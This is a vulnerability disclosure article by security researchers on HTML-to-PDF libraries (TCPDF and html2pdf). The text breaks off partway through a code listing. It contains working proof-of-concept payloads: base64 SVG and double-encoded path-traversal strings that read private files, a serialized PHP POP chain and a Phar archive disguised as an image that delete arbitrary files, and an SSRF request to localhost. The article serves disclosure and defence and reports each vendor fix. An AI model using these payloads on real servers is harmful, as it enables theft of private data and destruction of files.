Blind trust: what is hidden behind the process of creating your PDF file?

Authors

Web Application Security Expert
Web Application Security Expert
Web Application Security Expert

Every day, thousands of web services generate PDF (Portable Document Format) files—bills, contracts, reports. This step is often treated as a technical routine, “just convert the HTML,” but in practice it’s exactly where a trust boundary is crossed. The renderer parses HTML, downloads external resources, processes fonts, SVGs, and images, and sometimes has access to the network and the file system. Risky behavior can occur by default, without explicit options or warnings. That is enough for a PDF converter to become an SSRF proxy, a data leak channel, or even cause denial of service.

We therefore conducted a targeted analysis of popular HTML-to-PDF libraries written in the PHP, JavaScript, and Java languages: TCPDF, html2pdf, jsPDF, mPDF, snappy, dompdf, and OpenPDF. During the research, the PT Swarm team identified 13 vulnerabilities, demonstrated 7 intentional behaviors, and highlighted 6 potential misconfigurations. These included vulnerability classes such as Files or Directories Accessible to External PartiesDeserialization of Untrusted DataServer-Side Request Forgery, and Denial of Service.

PDF generation is increasingly common across e‑commerce, fintech, logistics, and SaaS. Such services are often deployed inside the perimeter, next to sensitive data, where network controls are looser. This means that even a seemingly harmless bug in the renderer can escalate into a serious incident: leakage of documents, secrets, or internal URLs.

In this article, we present a threat model for an HTML-to-PDF library, walk through representative findings for each library, and provide PoC snippets.

Introduction

Private user image

To demonstrate a Files or Directories Accessible to External Parties vulnerability, we used a neural network to generate a scan of a passport from a fictitious country. This file simulates sensitive personal data (PII), which security professionals most often encounter during information security audits. For the demonstration, the file will be placed at the following path: /tmp/user_files/user_1/private_image.png.

Arbitrary system file

To demonstrate the Deserialization of Untrusted Data vulnerability, an arbitrary file will be placed on the server at the following path: /tmp/do_not_delete_this_file.txt.  Deleting such a real file on a live system can cause issues such as denial of service or provide a way to bypass certain restrictions at the server or application level. Note that the process deleting this file must have the necessary permissions.

Checking for the /tmp/do_not_delete_this_file.txt file in the system

user@machine:~$ ls /tmp | grep "do_not_delete_this_file.txt"
do_not_delete_this_file.txt
user@machine:~$ ls -l /tmp/do_not_delete_this_file.txt
-rw-r--r-- 1 www-data www-data 36 Aug  4 15:10 /tmp/do_not_delete_this_file.txt
user@machine:~$ cat /tmp/do_not_delete_this_file.txt
3d6d1c81-7e5e-4694-b16d-6b06da3aa281

Identifying the library and its version

PDF generation is most likely performed by a third‑party library, and there are many of them across different programming languages. In many cases these libraries leave their signatures—name and version—in the files they generate. 

To identify the signature of the library that generated a PDF file, you can inspect the document properties. The library is TCPDF (version 6.10.1), a popular PHP library. 

Identifying the library and its version is essential for information security professionals and bug hunters. Once you have the signature, check for previously discovered and publicly known vulnerabilities, as well as possible misconfigurations and intentional behaviors.

The tecnickcom/tcpdf library

Description

The tecnickcom/tcpdf library is a PHP library for generating PDF documents and barcodes and is currently in support only mode. A new version of this library is under development—tecnickcom/tc-lib-pdf

Detected vulnerabilities

Vulnerability 1. Files or Directories Accessible to External Parties via the image tag and the xlink:href attribute

Researchers: Vladimir Razov

Description

Special HTML markup supplied by an external source allows an attacker to add an arbitrary image to the generated PDF on the target server due to improper validation of path in the image tag of the xlink:href attribute within the embedded SVG image via a picture.

Background
Path traversal (also known as Directory traversal) is a web application vulnerability that allows an attacker to access files and directories on the server that should not be accessible through the web interface.

We will demonstrate the exploitation of this vulnerability on version 6.8.0 of the tecnickcom/tcpdf library.

Installing the vulnerable version of the library

$ composer require tecnickcom/tcpdf:6.8.0
Technical details

Let’s look at our first vulnerability, which allowed us to access a private user image on the server.

When parsing an SVG image, which is valid XML file, each child tag is processed by the startSVGElementHandler function. Below is a fragment of the startSVGElementHandler TCPDF method.

To highlight the key points to observe, we mark them with inline comments using numbered markers: // marker N.

Marker 1 shows the initialization of the $img variable from the associative array $attribs via the xlink:href key. Tracing the $img variable back to marker 3 makes it clear that nothing prevents validating the requested image path.
Let’s exploit it!

<?php

class TCPDF {
  ...
  protected function startSVGElementHandler($parser, $name, $attribs, $ctm=array()) {
    ...
    // process tag
    switch($name) {
      ...
      // image
      case 'image': {
        ...
        if (!isset($attribs['xlink:href']) OR empty($attribs['xlink:href'])) {
          break;
        }
        ...
        $img = $attribs['xlink:href']; // marker 1
        if (!$clipping) {
          ...
          if (preg_match('/^data:image\/[^;]+;base64,/', $img, $m) > 0) {
            ...
          } else {
            // fix image path
            if (!TCPDF_STATIC::empty_string($this->svgdir) AND (($img[0] == '.') OR (basename($img) == $img))) {
              // replace relative path with full server path
              $img = $this->svgdir.'/'.$img;
            }
            if (($img[0] == '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { // marker 2
              $findroot = strpos($img, $_SERVER['DOCUMENT_ROOT']);
              if (($findroot === false) OR ($findroot > 1)) {
                if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
                  $img = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$img;
                } else {
                  $img = $_SERVER['DOCUMENT_ROOT'].$img;
                }
              }
            }
            $img = urldecode($img); // marker 3
            $testscrtype = @parse_url($img);
            ...
          }
          ...
        }
        break;
      }
      ...
    }
    ...
  }
  ...
}
Exploitation

An attacker sends a payload that contains two images. In this case, we assume that the externally supplied payload is already in the $payload variable.

Each img tag includes a src attribute with a Base64‑encoded string.

Web application source code

<?php
    require __DIR__ . '/vendor/autoload.php';

    $payload = <<<payload
        <html>
            <body>
                <img width="589px" height="415px" src="data:image/svg;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHhsaW5rOmhyZWY9Ii4uLy4uLy4uLy4uLy4uLy4uL3RtcC91c2VyX2ZpbGVzL3VzZXJfMS9wcml2YXRlX2ltYWdlLnBuZyIgLz4KPC9zdmc+">
                <img width="589px" height="415px" src="data:image/svg;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHhsaW5rOmhyZWY9Ii8uLi8uLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIC8+Cjwvc3ZnPg==">
            </body>
        </html>
    payload;

    $pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
    $pdf->AddPage();
    $pdf->writeHTML($payload);
    $pdf->Output('./generated_file.pdf', 'I');
?>

After decoding the Base64-encoded strings, we get a fully valid SVG image that includes the image tag with the xlink:href attribute. This attribute contains a relative path to the private image on the target server: ../../../../../../tmp/user_files/user_1/private_image.png or /../../../../../../tmp/user_files/user_1/private_image.png (so that the execution meets the condition marked as marker 2).

First SVG payload decoded from Base64

<svg viewBox="0 0 0 0" xmlns="http://www.w3.org/2000/svg">
    <image width="100%" height="100%" xlink:href="../../../../../../tmp/user_files/user_1/private_image.png" />
</svg>

We then call the vulnerable server to trigger PDF generation based on the payload in the $payload variable. If successful, the browser displays a PDF file with arbitrary private user images retrieved via path traversal.

Fix

The vendor fixed this vulnerability on January 26, 2025, and released the version 6.8.1 of the library. The fix added an extra conditional check in the startSVGElementHandler TCPDF method. It checks whether the “../” substring exists in the $img variable and, if found, the execution is interrupted with the break statement.

Vulnerability 2. Files or Directories Accessible to External Parties via the image tag and the xlink:href attribute

Researcher: Aleksey Solovev

Description

This vulnerability is directly related to the previous one and the vendor’s patch. The attacker can bypass the vendor’s patch by additionally encoding certain characters in the string.

We will demonstrate the exploitation of this vulnerability on version 6.8.2 of the tecnickcom/tcpdf library.

Installing the vulnerable version of the library

$ composer require tecnickcom/tcpdf:6.8.2
Technical details

In version 6.8.2, the vendor introduced an additional check in the startSVGElementHandler TCPDF method for the “../” sequence in the $img variable.

Reanalyzing the code in light of new information, we determined that to include an arbitrary private user image again, we must bypass the condition marked as marker 2 in the code fragment below. 

Library source code (version 6.8.2)

<?php

class TCPDF {
  ...
  protected function startSVGElementHandler($parser, $name, $attribs, $ctm=array()) {
    ...
    // process tag
    switch($name) {
      ...
      // image
      case 'image': {
        ...
        if (!isset($attribs['xlink:href']) OR empty($attribs['xlink:href'])) {
          break;
        }
        ...
        $img = $attribs['xlink:href']; // marker 1
        if (!$clipping) {
          ...
          if (preg_match('/^data:image\/[^;]+;base64,/', $img, $m) > 0) {
            ...
          } else {
            // fix image path
            if (strpos($img, '../') !== false) { // marker 2
              // accessing parent folders is not allowed
              break;
            }
            if (!TCPDF_STATIC::empty_string($this->svgdir) AND (($img[0] == '.') OR (basename($img) == $img))) {
              // replace relative path with full server path
              $img = $this->svgdir.'/'.$img;
            }
            if (($img[0] == '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { // marker 3
              $findroot = strpos($img, $_SERVER['DOCUMENT_ROOT']);
              if (($findroot === false) OR ($findroot > 1)) {
                if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
                  $img = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$img;
                } else {
                  $img = $_SERVER['DOCUMENT_ROOT'].$img;
                }
              }
            }
            $img = urldecode($img); // marker 4
            $testscrtype = @parse_url($img);
            ...
          }
          ...
        }
        break;
      }
      ...
    }
    ...
  }
  ...
}

While I was figuring out how to bypass the strpos($img, '../') !== false check that verifies whether the “../” substring (marker 2) exists in the string, I noticed the native function urldecode, which decodes the $img variable value (marker 4).

The strings /..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fuser_files%2fuser_1%2fprivate_image.png or ..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fuser_files%2fuser_1%2fprivate_image.png successfully bypass the conditional check (marker 2) because they contain the sequence “..%2f” rather than “../”.  The strings are then decoded when urldecode is called. When the $img variable string is normalized, all the “..%2f” sequences turn into “../”. 

Thus, the additional check introduced by the vendor as a vulnerability patch and marked as marker 2 is successfully bypassed.

Web application source code

<?php
    require __DIR__ . '/vendor/autoload.php';

    $payload = <<<payload
        <html>
            <body>
                <img width="589px" height="415px" src="data:image/svg;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHhsaW5rOmhyZWY9Ii4uJTJmLi4lMmYuLiUyZi4uJTJmLi4lMmYuLiUyZnRtcCUyZnVzZXJfZmlsZXMlMmZ1c2VyXzElMmZwcml2YXRlX2ltYWdlLnBuZyIgLz4KPC9zdmc+">
                <img width="589px" height="415px" src="data:image/svg;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHhsaW5rOmhyZWY9Ii8uLiUyZi4uJTJmLi4lMmYuLiUyZi4uJTJmLi4lMmZ0bXAlMmZ1c2VyX2ZpbGVzJTJmdXNlcl8xJTJmcHJpdmF0ZV9pbWFnZS5wbmciIC8+Cjwvc3ZnPg==">
            </body>
        </html>
    payload;

    $pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
    $pdf->AddPage();
    $pdf->writeHTML($payload);
    $pdf->Output('./generated_file.pdf', 'I');
?>

Let’s consider one of the two Base64‑decoded payloads presented as an SVG image.

First SVG payload decoded from Base64

<svg viewBox="0 0 0 0" xmlns="http://www.w3.org/2000/svg">
    <image width="100%" height="100%" xlink:href="..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fuser_files%2fuser_1%2fprivate_image.png" />
</svg>

We call the vulnerable server to trigger PDF generation based on the payload in the $payload variable. If successful, the browser displays a PDF file with two arbitrary private user images retrieved via path traversal.

Fix

The vendor fixed this vulnerability on April 3, 2025, and released the version 6.9.1 of the library. The fix introduced a new method, isRelativePath.

Vendor’s patch in version 6.9.1

class TCPDF {
  ...
  /**
   * Check if the path is relative.
   * @param string $path path to check
   * @return boolean true if the path is relative
   * @protected
   * @since 6.9.1
   */
  protected function isRelativePath($path) {
    return (strpos(str_ireplace('%2E', '.', $this->unhtmlentities($path)), '..') !== false);
  }
  ...
}

Vulnerability 3. Files or Directories Accessible to External Parties via the image tag and the src attribute

Researcher: Aleksey Solovev

Description

Here is another vulnerability very similar to the previous one. It involves bypassing a check for the presence of the “../” value in a substring, but in a different place—the openHTMLTagHandler method rather than startSVGElementHandler as before.

We will demonstrate the exploitation of this vulnerability on version 6.8.2 of the tecnickcom/tcpdf library.

Installing the vulnerable version of the library

$ composer require tecnickcom/tcpdf:6.8.2
Technical details

Based on the detailed description of the previous vulnerability, the parallels are obvious.

When processing the img tag in the openHTMLTagHandler TCPDF method, it is possible to bypass the check (marker 2).  This is done using a string in the $imgsrc variable that does not contain the “../” substring and starts with “/” to meet the condition marked as marker 3, after which the $imgsrc variable is passed to the native urldecode function (marker 4) to normalize the relative path.

Library source code (version 6.8.2)

<?php

class TCPDF {
  ...
  protected function openHTMLTagHandler($dom, $key, $cell) {
    ...
    // Opening tag
    switch($tag['value']) {
      ...
      case 'img': {
        if (empty($tag['attribute']['src'])) {
          break;
        }
        $imgsrc = $tag['attribute']['src']; // marker 1
        if ($imgsrc[0] === '@') {
          ...
        } else if (preg_match('@^data:image/([^;]*);base64,(.*)@', $imgsrc, $reg)) {
          ...
        } elseif (strpos($imgsrc, '../') !== false) {  // marker 2
          // accessing parent folders is not allowed
          break;
        } elseif ( $this->allowLocalFiles && substr($imgsrc, 0, 7) === 'file://') {
          ...
        } else {
          if (($imgsrc[0] === '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) {  // marker 3
            // fix image path
            $findroot = strpos($imgsrc, $_SERVER['DOCUMENT_ROOT']);
            if (($findroot === false) OR ($findroot > 1)) {
              if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
                $imgsrc = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$imgsrc;
              } else {
                $imgsrc = $_SERVER['DOCUMENT_ROOT'].$imgsrc;
              }
            }
            $imgsrc = urldecode($imgsrc);  // marker 4
            $testscrtype = @parse_url($imgsrc);
            ...
          }
        }
      }
      ...
    }
    ...
  }
  ...
}
Exploitation

The attacker transfers encoded payload with an image. The encoding ensures that, upon receiving the request, the server does not change the “..%2f” sequence to “../”. Otherwise, we would fail the check (marker 2) and could not exploit the vulnerability.

Web application source code

<?php
    require __DIR__ . '/vendor/autoload.php';

    $payload = isset($_GET['p']) ? $_GET['p'] : '';

    $pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
    $pdf->AddPage();
    $pdf->writeHTML($payload);
    $pdf->Output('./generated_file.pdf', 'I');
?>

When sending the request to the server, the attacker encodes the first “/” character (to meet the condition marked as marker 3) as “%2f”, and the sequence that should look like “..%2f” (to bypass the check marked as marker 2) is double‑encoded as “%252f”.

The scenario looks as follows:

Double encoding of a specific character sequence

/?p=<img%20width="589px"%20height="415px"%20src="%2f..%252f..%252f..%252f..%252f..%252ftmp%252fuser_files%252fuser_1%252fprivate_image.png">

We then call the vulnerable server to trigger PDF generation based on the payload in the $payload variable. If successful, the browser displays a PDF file with two arbitrary private user images retrieved via path traversal.

Fix

The vendor fixed this vulnerability on April 3, 2025, and released the version 6.9.1 of the library. The fix introduced a new method, isRelativePath.

Vendor’s patch in version 6.9.1

class TCPDF {
  ...
  /**
   * Check if the path is relative.
   * @param string $path path to check
   * @return boolean true if the path is relative
   * @protected
   * @since 6.9.1
   */
  protected function isRelativePath($path) {
    return (strpos(str_ireplace('%2E', '.', $this->unhtmlentities($path)), '..') !== false);
  }
  ...
}

Vulnerability 4. Deserialization of Untrusted Data

Researchers: Aleksey Solovev, Nikita Sveshnikov

Description

While examining the TCPDF class, we found a POP (Property Oriented Programming) chain which, if exploited via unsafe deserialization, would allow an attacker to delete an arbitrary file from the system for which the current process would have permissions.

We will demonstrate the exploitation of this vulnerability on version 6.8.2 of the tecnickcom/tcpdf library.

Installing the vulnerable version of the library

$ composer require tecnickcom/tcpdf:6.8.2
Technical details

We noticed that the TCPDF class contains a magic method __destruct, which in turn calls the _destroy method. Let’s look more closely at what happens when unsafe deserialization into a TCPDF instance is performed.

Background
Deserialization is converting data encoded in a particular format (such as JSON, XML, or a binary format) into instances or data structures that can be used by a program.

Passing a serialized string from an external source to the native unserialize function without preprocessing anywhere in the code will result in a TCPDF instance being created. When the instance is no longer needed, it will be destroyed, and the magic __destruct() method will be called first.

Inside the destructor, only the _destroy method is called (marker 1), so let’s examine this method’s logic.

If the $this->file_id field value is absent from the static $cleaned_ids variable (marker 2), execution proceeds to the next check (marker 3). In that check, the $this->imagekeys field must contain an array of values which, essentially, are paths to files to be deleted. The check verifies whether the file exists in the system (marker 5), after which the native unlink function is called (marker 6), which deletes the transferred value from the $file variable.

Sounds easy? It’s time to show how this vulnerability can be exploited.

The __destruct and _destroy magic TCPDF methods

<?php

class TCPDF {
  ...
  public function __destruct() {
    // cleanup
    $this->_destroy(true); // marker 1
  }
  ...
  public function _destroy($destroyall=false, $preserve_objcopy=false) {
    if (isset(self::$cleaned_ids[$this->file_id])) { // marker 2
      $destroyall = false;
    }
    if ($destroyall AND !$preserve_objcopy && isset($this->file_id)) { // marker 3
      ...
      if (isset($this->imagekeys)) { // marker 4
        foreach($this->imagekeys as $file) {
          if (strpos($file, K_PATH_CACHE) === 0 && TCPDF_STATIC::file_exists($file)) { // marker 5
            @unlink($file); // marker 6
          }
        }
      }
    }
    ...
  }
   ...
}
Exploitation

Let’s imagine a web application that generates a PDF file based on data obtained from an external source.

The logic is straightforward: the value passed in the GET parameter “p” must be a serialized string (https://github.com/ambionics/phpggc/pull/215). The system checks that the string exists and deserializes it into the $payload variable.  Next, the code checks whether the $payload array contains a string under the html key. If so, it is used to generate the PDF file.

If everything is correct, we proceed to generate the PDF!

Web application source code

<?php
    require __DIR__ . '/vendor/autoload.php';

    if (!array_key_exists('p', $_GET)) {
        die('The GET parameter \'p\' is missing.');
    }

    $payload = unserialize($_GET['p']);
    if (!$payload || !array_key_exists('html', $payload) || !is_string($payload['html'])) {
        die('The \'html\' key is missing in the deserialized structure or the value is not a string.');
    }

    $pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
    $pdf->AddPage();
    $pdf->writeHTML($payload['html']);
    $pdf->Output('./generated_file.pdf', 'I');
?>

You may have noticed that the TCPDF class is in scope. We create an instance and use it to generate a PDF. As noted earlier, the code calls the native unserialize function with data coming from an external source. The pieces fit together.

At the beginning we mentioned that the target server contains the file /tmp/do_not_delete_this_file.txt. We will delete it to clearly demonstrate exploitation of the vulnerability we discovered.

Checking for the /tmp/do_not_delete_this_file.txt file in the system:

user@machine:~$ ls -l /tmp/do_not_delete_this_file.txt
-rw-r--r-- 1 www-data www-data 36 Aug  4 15:10 /tmp/do_not_delete_this_file.txt

On the attacker’s machine, a string was serialized based on the TCPDF class; the fields file_id and imagekeys must be defined in this string. 

The imagekeys field contains an array of file paths that will be deleted upon deserialization when the TCPDF magic method __destruct executes.

Serializing an instance of the TCPDF class with the preset file_id and imagekeys fields

user@machine:~$ cat generate.php
<?php
    class TCPDF {}

    $dummy = new TCPDF;
    $dummy->file_id = -1;
    $dummy->imagekeys = ["/tmp/../tmp/do_not_delete_this_file.txt"];

    $payload = serialize(["html" => $dummy]);
    echo $payload . PHP_EOL;
?>
user@machine:~$ php generate.php
a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";}}}

We initiate PDF generation by sending a special HTTP request to the target server in which the GET parameter “p” contains the serialized string.

Attacker scenario execution

/?p=a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";}}}

During deserialization of the transferred string, a TCPDF instance will be created and then automatically destroyed by calling the destructor, which triggers deletion of an arbitrary file from the system. 

When we addressed the web application script, we received a 500 Internal Server Error. Let’s check the target system for the file /tmp/do_not_delete_this_file.txt. The file was successfully deleted, which indicates successful exploitation of the vulnerability.

Fix

The vendor fixed this vulnerability on April 20, 2025, and released the version 6.9.3 of the library.

The fix introduced a new _unlink function, a wrapper over the native unlink function, of the TCPDF class (marker 2), as well as an improved check for file existence in the system and for whether the file belongs to the library by adding the substring _tcpdf in the filename (marker 1).

Fixing the file deletion logic during deserialization

class TCPDF {
  ...
  public function _destroy($destroyall=false, $preserve_objcopy=false) {
    if (isset(self::$cleaned_ids[$this->file_id])) {
      $destroyall = false;
    }
    if ($destroyall AND !$preserve_objcopy && isset($this->file_id)) {
      ...
      if (isset($this->imagekeys)) {
        foreach($this->imagekeys as $file) {
          if ((strpos($file,  K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_') === 0)
            && TCPDF_STATIC::file_exists($file)) { // marker 1
              $this->_unlink($file);
          }
        }
      }
    }
    ...
  }
  ...
  protected function _unlink($file) // marker 2
  {
    if ((strpos($file, '://') !== false) && ((substr($file, 0, 7) !== 'file://') || (!$this->allowLocalFiles))) {
      // forbidden protocol
      return false;
    }
    return @unlink($file);
  }
  ...
}

Vulnerability 5. Server-Side Request Forgery (Blind SSRF) via the img tag and the src attribute

Researcher: Aleksey Solovev

Description

In this research we touch on Server Side Request Forgery (SSRF) for the first time; we will encounter it again later.

Background
SSRF is a web application vulnerability that allows an attacker to send requests from the server to other servers, including internal ones not accessible from the external network. This can lead to serious consequences such as disclosure of confidential information, bypassing network restrictions, and even gaining control of internal systems. 

Before we discuss where exactly this vulnerability appears in the library’s source code, its exploitation, and the fix, we remind you of the risks:

  • Access to internal resources and their scanning
  • Local file read
  • Running arbitrary commands
  • Attacks on other systems
  • Bypassing firewalls and other security tools

In this example we will demonstrate a simple, well known way to send an arbitrary request from the server.

We will demonstrate the exploitation of this vulnerability on version 6.10.0 of the tecnickcom/tcpdf library.

Installing the vulnerable version of the library

$ composer require tecnickcom/tcpdf:6.10.0
Technical details

There are quite a few issues in the library’s source code that may lead to server side request forgery. For example, this can happen when processing an image with the img tag and the src attribute. This occurs because, under various conditions, the library may repeatedly check whether the image actually exists and request the image for further processing.

In this example we will not list the vulnerable code fragments due to their size. However, note that a number of functions can cause a request execution on the server side: curl_exec, getimagesize, file_get_contents, and so on.

Exploitation

The attacker transfers a payload that contains an img tag with the src attribute whose value is the target server’s local address on port 8080. We assume that the payload provided from an external source is already in the $payload variable.

Web application source code

<?php
    require __DIR__ . '/vendor/autoload.php';

    $payload = <<<payload
        <html>
            <body>
                <img width="1px" height="1px" src="http://127.0.0.1:8080">
            </body>
        </html>
    payload;

    $pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
    $pdf->AddPage();
    $pdf->writeHTML($payload);
    $pdf->Output('./generated_file.pdf', 'I');
?>

Note that an arbitrary web application is running on the target server on port 8080. This demonstrates that the attacker can reach an internal address and port of the server.

Starting the web application on port 8080 on the target server

user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

The attacker accesses the web application script that generates the PDF file. The web application running on the same server on port 8080 receives five loopback requests at the local address 127.0.0.1.

Fix

We reported the problem to the vendor. However, the library developer replied that this vulnerability is not valid or is out of scope for the library.

The spipu/html2pdf library

Description

The spipu/html2pdf library is an HTML to PDF converter written in PHP and compatible with PHP 7.2–8.4. It allows conversion of valid HTML file into PDF to generate invoices, documentation, and so on.

Detected vulnerabilities

Vulnerability 1. Deserialization of Untrusted Data

Researcher: Aleksey Solovev

Description

We found that the library uses the tecnickcom/TCPDF library internally, which we already discussed above.

In this library we discovered a vulnerability that allows deserialization via a Phar archive followed by deletion of an arbitrary file from the system, provided the current process has the necessary permissions.

Background

Phar archives are similar to Java JARs but adapted to the needs and flexibility of PHP applications. A Phar archive is used to distribute a complete PHP application or library as a single file (https://www.php.net/manual/ru/phar.using.intro.php).

To demonstrate the vulnerability, the following is required:

  • The PHP version is lower than 8.0. This is because PHP 8.0 improved security: the Phar stream wrapper (phar://) no longer automatically causes deserialization in stream wrapper operations such as file_exists('phar://file.txt').
  • The generated Phar archive is already present on the target system at a known path. In real-world web apps, you can often upload it through the file/image upload functionality.
  • A POP chain (Property Oriented Programming chain) is in scope.
  • A particular native function must be called with a parameter controlled by the attacker, leading to deserialization of the Phar archive.

We will demonstrate the exploitation of this vulnerability on version 5.3.0 of the spipu/html2pdf library.

Installing the vulnerable version of the spipu/html2pdf library

$ composer require spipu/html2pdf:5.3.0

When installing version 5.3.0 of the spipu/html2pdf 5.3.0 library, the Composer package manager installs the then latest version of the tecnickcom/tcpdf library (6.10.0), which already contains the fix for the unsafe deserialization vulnerability we found.

At the time of our research, the vulnerabilities existed in both libraries simultaneously. Therefore, to reproduce the vulnerability, we downgrade tecnickcom/tcpdf to 6.8.2.

Downgrading tecnickcom/tcpdf to 6.8.2

composer update --with tecnickcom/tcpdf:6.8.2
Technical details

The spipu/html2pdf library processes a custom tag “cert”. It is handled by the _tag_open_CERT Html2Pdf method. Note that the $param variable contains values that can be controlled by an attacker.

Let’s examine how the $certificate (marker 1) and the $privkey (marker 3) variables are initialized and then passed to the native file_exists function (markers 2 and 4).

The Html2Pdf _tag_open_CERT method

class Html2Pdf
{
    ...
    protected function _tag_open_CERT($param)
    {
        $res = $this->_tag_open_DIV($param);
        if (!$res) {
            return $res;
        }

        // set certificate file
        $certificate = $param['src']; // marker 1
        if(!file_exists($certificate)) { // marker 2
            return true;
        }

        // Set private key
        $privkey = $param['privkey']; // marker 3
        if(strlen($privkey)==0 || !file_exists($privkey)) { // marker 4
            $privkey = $certificate;
        }
    ...
}

In PHP language, there are certain native functions that can lead to Phar archive deserialization, and file_exists is one of them.

Great – now we just need to verify that the POP chain actually exists and that it is in scope for the code.

The spipu/html2pdf library depends on the tecnickcom/tcpdf library. In the latter, we identified the vulnerability and demonstrated how it can be exploited to delete an arbitrary file from the system (described above).

The spipu/html2pdf library dependence on the tecnickcom/tcpdf library

$ tree -L 4 .
.
├── composer.json
├── composer.lock
├── index.php
└── vendor
    ├── autoload.php
    ├── composer
    │   └── ...
    ├── spipu
    │   └── html2pdf
    │       ├── ...
    │       ├── src
    │       └── ...
    └── tecnickcom
        └── tcpdf
            ├── ...
            ├── tcpdf.php
            └── ...

It is now time to exploit the vulnerability we found by using the native file_exists function.

Exploitation

Before exploitation, let’s confirm that /tmp/do_not_delete_this_file.txt exists on the target system.

Checking for the /tmp/do_not_delete_this_file.txt file in the system

user@machine:~$ ls -l /tmp/do_not_delete_this_file.txt
-rw-r--r-- 1 www-data www-data 36 Aug  4 15:10 /tmp/do_not_delete_this_file.txt

When describing this vulnerability, we mentioned a Phar archive. Attackers generate it on their machine with the POP chain we discovered. When using the spipu/html2pdf library, the TCPDF class of the tecnickcom/tcpdf library is in scope.

On the attacker’s machine, the generate_phar.php script was created and run. In it, we define the TCPDF class and create a TCPDF instance with preset values for two required fields—file_id and imagekeys.

Script for generating a Phar archive in tecnickcom/tcpdf using the POP chain we discovered

<?php
    class TCPDF {}
    
    $dummy = new TCPDF;
    $dummy->file_id = -1;
    $dummy->imagekeys = ["/tmp/../tmp/do_not_delete_this_file.txt"];

    @unlink("archive.phar");

    $archive = new Phar("archive.phar");
    $archive->startBuffering();
    $archive->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
    $archive["file"] = "text";
    $archive->setMetadata($dummy);
    $archive->stopBuffering();
?>

We generate archive.phar using PHP 7.3 and rename it to archive.png. It is also important to set phar.readonly=0 to allow successful generation.

Running the Phar archive generation script

user@machine:~$ php7.3 --define phar.readonly=0 generate_phar.php && mv archive.phar archive.png

The generated archive is placed on the target server. This can happen in various ways, for example via a file or image loading. In this case, we simply placed the Phar archive on the server at /tmp/user_files/user_1/archive.png.

Let’s also look at the contents of the generated Phar archive with the xxd binary utility, which creates a hexadecimal representation of the file.

Let’s demonstrate the web application source code. 

The $payload variable contains payload with a custom tag “cert” with the src and privkey attributes. The attackers can control the values of these attributes, so they use the phar:// protocol to address the file /tmp/user_files/user_1/archive.png previously uploaded on the server. We assume that the payload provided from an external source is already in the $payload variable.

Web application source code

<?php
    require __DIR__ . '/vendor/autoload.php';

    use Spipu\Html2Pdf\Html2Pdf;

    $payload = <<<payload
        <cert
            src="phar:///tmp/user_files/user_1/archive.png"
            privkey="phar:///tmp/user_files/user_1/archive.png"
            name="sender_name"
            location="sender_location"
            reason="sender_reason"
            contactinfo="sender_contact"    
        >
        </cert>
    payload;

    $html2pdf = new Html2Pdf('P', 'A4', 'en');
    $html2pdf->writeHTML($payload);
    echo $html2pdf->output('example01.pdf');
?>

When we access the web application script, processing the payload calls the Html2Pdf _tag_open_CERT method, which in turn calls the native function file_exists with the value phar:///tmp/user_files/user_1/archive.png. This triggers deserialization of the TCPDF class in the archive, followed by its destruction via the __destruct magic method. As we recall, this results in the deletion of an arbitrary file from the system, provided that the current process has permissions.

The request returns a successfully generated PDF file.

Let’s check the target system for the file /tmp/do_not_delete_this_file.txt. The file was successfully deleted, which indicates successful exploitation of the vulnerability.

Fix

The unsafe Phar deserialization was addressed by the vendor on February 26, 2025 in a new library version, 5.3.1.

A new Security class with the checkValidPath function was added to the library. The function’s logic matches the protocol requested in the string against a whitelist of allowed protocols, such as file, http, and https. If an external attacker attempts to use a protocol that is not allowed, for example phar, checkValidPath throws an HtmlParsingException.

Adding the Security class and the checkValidPath method to validate the protocol

class Security implements SecurityInterface
{
